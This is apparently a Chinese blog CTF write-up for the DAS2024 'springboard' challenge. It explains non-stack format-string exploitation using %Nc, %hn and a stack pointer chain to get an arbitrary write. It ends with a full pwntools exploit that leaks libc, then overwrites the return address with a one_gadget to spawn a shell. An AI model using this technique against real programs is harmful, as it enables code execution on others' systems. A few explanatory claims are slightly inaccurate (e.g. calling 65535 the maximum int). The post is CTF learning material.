[DAS2024](fmt漏洞劫持)springboard解题wp+格式化字符串漏洞深入理解

[DAS2024](fmt漏洞劫持)springboard解题wp+格式化字符串漏洞深入理解

一个非栈上的格式化字符串漏洞,主要是用到了格式化字符串给目标地址赋值的特性

题目程序非常简单,就是一个重复触发了五次格式化字符串漏洞的循环

由于唯一的读入是朝bss段上读的,靠溢出做题就别想了,这题很明显是想让我们利用格式化字符串(fmt)漏洞

这里先对格式化字符串的几点进行补充解析:

一、"%Nc"(N指整数)

我们知道%n这个fmt可以将已打印的字符个数作为整形赋值给目标地址,在刚了解到格式化字符串漏洞时一般都会用aaaa%x$n这种方式去赋值,这种方式当然是效率极低的一种利用方式,实际上有一种更好的方式:"%c":

%c这个fmt是用来解析字符的,如果出现了[width]参数即%nc这种情况则表示printf应该打印出7个字符,如果参数不足7个那么就会用空格进行填充,所以在有限的读入长度下就可以用这种写法去赋值,比如%777c%n$n就会将第n个栈里的地址赋值为777

那么这种方式最大可以赋值多少呢,答案是一个int型的最大值65535=0xffff(内存里的两字节)

二、"%hn"

在与%Nc搭配使用时往往不会直接用%n,而是再加一个h参数,这个h参数的作用是规定修改目标地址的哪几位,64位下%n会修改4字节的内容,而加一个h %hn会修改2字节的内容,而前面也说到了%Nc的N最大是0xffff,正好就是两字节内容的最大值,所以一般情况下使用这种手法都是用%hn的

三、%n赋值到底是赋值给哪里的?

答:赋值给这块栈上的地址里

画个图:

是以栈上的地址为目标而不是以栈为目标,如果定位到的栈里没有合法地址,程序就会趋势

来到题目中:

先拿栈顶这里试试水:

输入一个%64c%6$n

可以成功将该处赋值为64

接下来就是考虑利用这个漏洞将某处篡改为shell地址进行劫持了,这个题开了partial RELRO,got表不可写的,所以不能劫持got表;我这题是篡改的return地址,接下来就写一下这个思路的分析。

———————————————————————————————————————————————————————

非栈上的格式化字符串漏洞:

如果格式化字符串是在栈上的,我们就可以先将目标地址写到栈上再对目标地址赋值,但是这里是在bss段上的,没办法直接任意写

对于这种情况可以使用一个连环劫持的手法

我们可以利用一个这样的结构:

如图,这两块栈的构造是

A: 栈地址1-->栈地址2-->栈地址3(其他地址)

B: 栈地址2-->栈地址3(其他地址)

(实际利用中找到 栈地址1-->栈地址2-->栈地址3 这样的三连环就能用了)

根据我画的图里的两个白色箭头,通过这个结构可以用%n$n直接修改到两个位置,定位栈A就可以修改address,而图中的a又是在address里的,通过,通过这样一个连环控制就可以实现任意地址写了,这里的逻辑关系稍微有些绕,需要好好理清楚,本质上是很简单的。

接下来实操看看,我们试着利用这个三连环将迭代变量篡改成一个奇怪的值

在这里栈地址3的后四位我们都可以利用格式化字符串漏洞去篡改,

篡改的目标后四位是0xde48,写一个%56904c%11$hn就ok了

可以看到通过定位栈A成功把栈B的指向篡改到了de48的位置

同时可以看到,在df38这里的内容也是成功的同步为de48

那么此时定位栈B(就是截图这里)会发生什么?篡改的会是de48处的内容,我们定位它篡改一下试试:

%1911c%37$hn

成功将de48处的内容改为了0x777(当然,是低位)

———————————————————————————————————————————————————————

做题

好了,通过上面这一段解释,应该(maybe?)能明白利用三连环结构构造任意地址写的手法了,接下来就考虑题目应该怎么打了,思路很简单:先在栈A处篡改内容为返回地址,然后再定位栈B去篡改返回地址的内容

就像这样

选择这块栈即可

我们要先定位这个位置然后将"栈地址3"篡改为返回地址,由于栈地址的偏移地址会随机化,所以这里要知道返回地址的后四位就得先拿到一个栈地址,这里正好泄露这个栈A就得了,拿到的是0xdf38

减去0xe0就是返回地址了,然后可以用 address & 0xffff 这个运算取出一个地址的后四位

然后就是用前面说过的方法填到栈上了

成功篡改栈地址3为返回地址

这时再定位这里篡改的就是返回地址里的内容了

那么现在有一个新的问题,这题我选择打onegadget,而这个地址在libc里的偏移是有五位的,比如这里libc_main是0x719e14c20840,而onegadget地址应该是0x719e14cxxxxx,也就是说篡改应该改五位,但是开头也说了用%c最大也只能改到后四位(低2字节),所以这里是要改两次的

改最后的四位和常识相似正常填地址正常篡改就得了,那改倒数第二个四位呢?其实我们可以先把地址+2放上去再改,画图好理解一点:

在内存里大概就是这样的感觉(按小端序画的)

我们用de48这个地址改的是蓝色部分(地址的最低两字节),+2后改的是绿色部分(地址的倒数第3到4字节)

所以我们就需要两次篡改去把onegadget的后八位字节分两次写进去

可以用这种方法将地址切成三段

Python
def address_cutto_3(int_address):
hex_address = hex(int_address)[2:]
part1 = '0x' + hex_address[:4]
part2 = '0x' + hex_address[4:8]
part3 = '0x' + hex_address[8:]
return [int(part1,16), int(part2,16), int(part3,16)]
shell_fall = address_cutto_3(onegadget)

先将中间四位地址写到对应位置

同理再把后四位写到对应位置

这样就成功在return地址填入我们的onegadget了

完整exp:

Python
from pwn import *
from LibcSearcher import *

#io=remote('node5.buuoj.cn',26329)
io = process("./1")
gdb.attach(io, "b *0x40081b")
context(os = "linux", arch = "amd64", log_level= "debug")

t=ELF('./1')
libc = ELF("./libc.so.6")

#泄露得到一个libc基地址和一个栈地址
io.sendlineafter("keyword\n", "%9$p-%11$p")
libc.address = int(io.recv(14), 16)-0x20840
io.recvuntil("-")
s_11_addr = int(io.recv(14), 16)
#拿到的栈地址是11$的

#log.info(hex(libc.address))
onegadget = libc.address + 0xf1247
#拿到libc里的onegadget地址
#log.info(hex(onegadget))

return_addr = s_11_addr - 0xe0
return_offset = return_addr & 0xffff
#11$栈地址减去0xe0就是返回地址,取出其偏移地址即后四位

s_base = (s_11_addr >> 0x10)<<0x10
#将栈地址右移左移后拿到栈的基地址
#log.info(hex(s_base))
#log.info(hex(return_offset))

#将onegadget地址切成三块
def address_cutto_3(int_address):
hex_address = hex(int_address)[2:]
part1 = '0x' + hex_address[:4]
part2 = '0x' + hex_address[4:8]
part3 = '0x' + hex_address[8:]
return [int(part1,16), int(part2,16), int(part3,16)]
shell_fall = address_cutto_3(onegadget)

#一个地址分作四部分,第一二部分不用管,一个为空一个固定,将libc_main改为libc_shell只需要改后五位(后两部分)即可
#先改第三部分
payload = f"%{return_offset+2}c%11$hn".encode()
io.sendlineafter("keyword\n", payload)
payload = f"%{shell_fall[1]}c%37$hn".encode()
io.sendlineafter("keyword\n", payload)

#再改第四部分
payload = f"%{return_offset}c%11$hn".encode()
io.sendlineafter("keyword\n", payload)
payload = f"%{shell_fall[2]}c%37$hn".encode()
io.sendlineafter("keyword\n", payload)

io.interactive()

萌新刚开始写博客,有的地方可能写的很乱,欢迎大佬指正,围观的师傅们有不明白的也可以评论区留言

 

posted @ 2024-07-20 20:27  ink777  阅读(16)  评论(0编辑  收藏  举报